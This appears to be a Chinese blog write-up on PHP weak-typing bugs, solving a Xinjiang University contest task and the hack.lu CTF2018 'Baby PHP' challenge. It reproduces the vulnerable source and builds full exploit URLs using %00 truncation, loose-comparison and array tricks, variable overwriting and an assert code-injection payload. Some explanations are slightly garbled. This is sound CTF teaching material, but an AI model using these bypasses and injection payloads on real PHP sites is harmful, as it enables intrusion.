PHP弱类型的一些总结

新疆大学校赛

description:

小明shell下的编辑器用的比较6

index.php.swo泄露了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$get = $_GET['ctf'];
if ($get == '!#?&@') {
echo '<p class="alert">Go on!';
} else {
exit();
}
if (isset($_GET['password'])) {
if (ereg("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) echo '

You password is error,must be test others
';
else if (strpos($_GET['password'], '--') !== FALSE) {
$a = @$_GET['xjnu'];
$v1 = 0;
if (is_array($a)) {
is_numeric(@$a["bar1"]) ? die("No way!") : NULL;
if (@$a["bar1"]) {
($a["bar1"] > 2016) ? $v1 = 1 : NULL;
}
if (is_array(@$a["bar2"])) {
if (count($a["bar2"]) !== 3 or !is_array($a["bar2"][0])) die("No way!");
foreach ($a["bar2"] as $key => $val) {
if (preg_match('/2018/', $val)) {
die('No way!');
}
if ($val == 2018) {
die($flag);
}
}
}
}
} else echo 'Invalid password';
}

看代码可以知道:

  • ctf=!#?&@是肯定要有的
  • password必须符合^[a-zA-Z0-9]+$,但是后面又要求它有--
  • 传进去的xjnu是个数组,而且xjnu[bar1]不能是数字,xjnu[bar2]是个数组,有3个元素,而且xjnu[bar2][0]是个数组。xjnu[bar2]中的value会先进行preg_match('/2018/', $val),再与2018比较,相等的话则get flag.
    先说一点弱类型的前置知识:
    1
    2
    3
    4
    5
    6
    7
    <?php
    var_dump("admin"==0); //true
    var_dump("1admin"==1); //true
    var_dump("admin1"==1) //false
    var_dump("admin1"==0) //true
    var_dump("0e123456"=="0e4456789"); //true
    ?>

当一个字符串被当作一个数值来取值,其结果和类型如下:
如果该字符串没有包含’.’,’e’,’E’并且其数值值在整形的范围之内,该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开
始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

接下来分析一下

  • 对于password,它使用了ereg函数去判断,这个函数存在%00截断漏洞,我们可以构造password=asd%00--来绕过
  • 对于xjnu[bar1],题目这里仅仅限制了它不能是数字,后面的与2016的比较显得有点多余,不影响结果。这里假设如果xjnu[bar1]>2016不成立,程序就会退出,我们可以构造xjnu[bar1]=12345as,在与数字进行比较时,它会被转换成12345,自然就比2016要大了
  • 对于xjnu[bar2],要求它是数组,我们可以用xjnu[bar2][]=..的形式来对它的元素进行赋值,还要求xjnu[bar2][0]也是数组,同样可以用xjnu[bar2][0][]的方法来进行赋值。这里要注意的是,由于foreach从第一个元素开始,而preg_match的参数不能是数组,不然程序就会发生致命错误,所以要把xjnu[bar][0]放到后面去。另外,这里不要想去传入布尔型的True,直接传过去只能被当作字符串,只有json才能传布尔型数据。
  • 最后还有一个弱类型比较,要求$val中不能有2018,然后,$val==2018必须为True,这里可以使用进制绕过,2018的十六进制是0x7e2,在进行数值比较时,它会被当作float来取值。
    因此,最后构造的payload是这样的:ctf=!%23%3f%26%40&password=xz%00--&xjnu[bar1]=65535zz&xjnu[bar2][1]=0x7e2&xjnu[bar2][2]=3&xjnu[bar2][0][]=zxcsenter description here

    hack.lu CTF2018 Baby PHP

Difficulty: baby
PHP is a popular general-purpose scripting language that is especially suited to web development.
Fast, flexible and pragmatic, PHP powers everything from your blog to the most popular websites in the world.
Can you untangle this mess?!

这是一道源码审计题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

include('flag.php');
error_reporting(0);


if(!isset($_GET['msg'])){
highlight_file(__FILE__);
die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
}

echo "Hello Hacker! Have a look around.\n";

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
}

if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}

$‮b = "2";$a="‮b";//;1=b

if($$a !== $k1){
die("lel no\n");
}

// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

这里有以下这几个点需要去绕过:
1.file_get_contents($msg)=='Hello Challenge!'php://input或者是data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==
2.intval($k1) !== $cc || $k1 === $cc,这里用key1=1337a可以绕过
3.

1
2
3
4
5
6
7
if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}

这里要注意几个点,首先,$k2的长度要和$bb一样,也就是42,然后,要匹配'/^\d+$/'这个正则,而且不能是数字类型,最后还要==1337。这里要注意的是,正则中的并不是字符串结束符$,所以只需要在一连串数字最后加一个,而且,这个字符占两个字节,所以在它之前的数字个数只要40个就足够了,再加上要和1337相等,所以此处构造的key2=0000000000000000000000000000000000001337$.
4.

1
2
3
4
5
if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}

这部分首先是有一个奇怪的比较,然后就可以进行变量覆盖。这里可以构造cc[]=1来实现绕过,substrsha1md5处理数组都是返回NULL。然后进行变量覆盖,先看后面的代码。
5.$b=1那一行有一些奇怪的不可见字符在里面,复制到sublime里面可以还原enter description here经过这一步,再看下面的代码,if($$a!==$k1),此时$a=b,$$a=$b=2,因此我们需要构造$k1=2,用上面的变量覆盖点来覆盖就可以,k1=2
6.最后就到了assert的地方,随便传入bb=命令 ;//即可。
最终payload:http://localhost/babyphp.php?msg=data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==&key1=1337a&key2=000000000000000000000000000000000001337%EF%BC%84&cc[]=1&k1=2&bb=phpinfo();//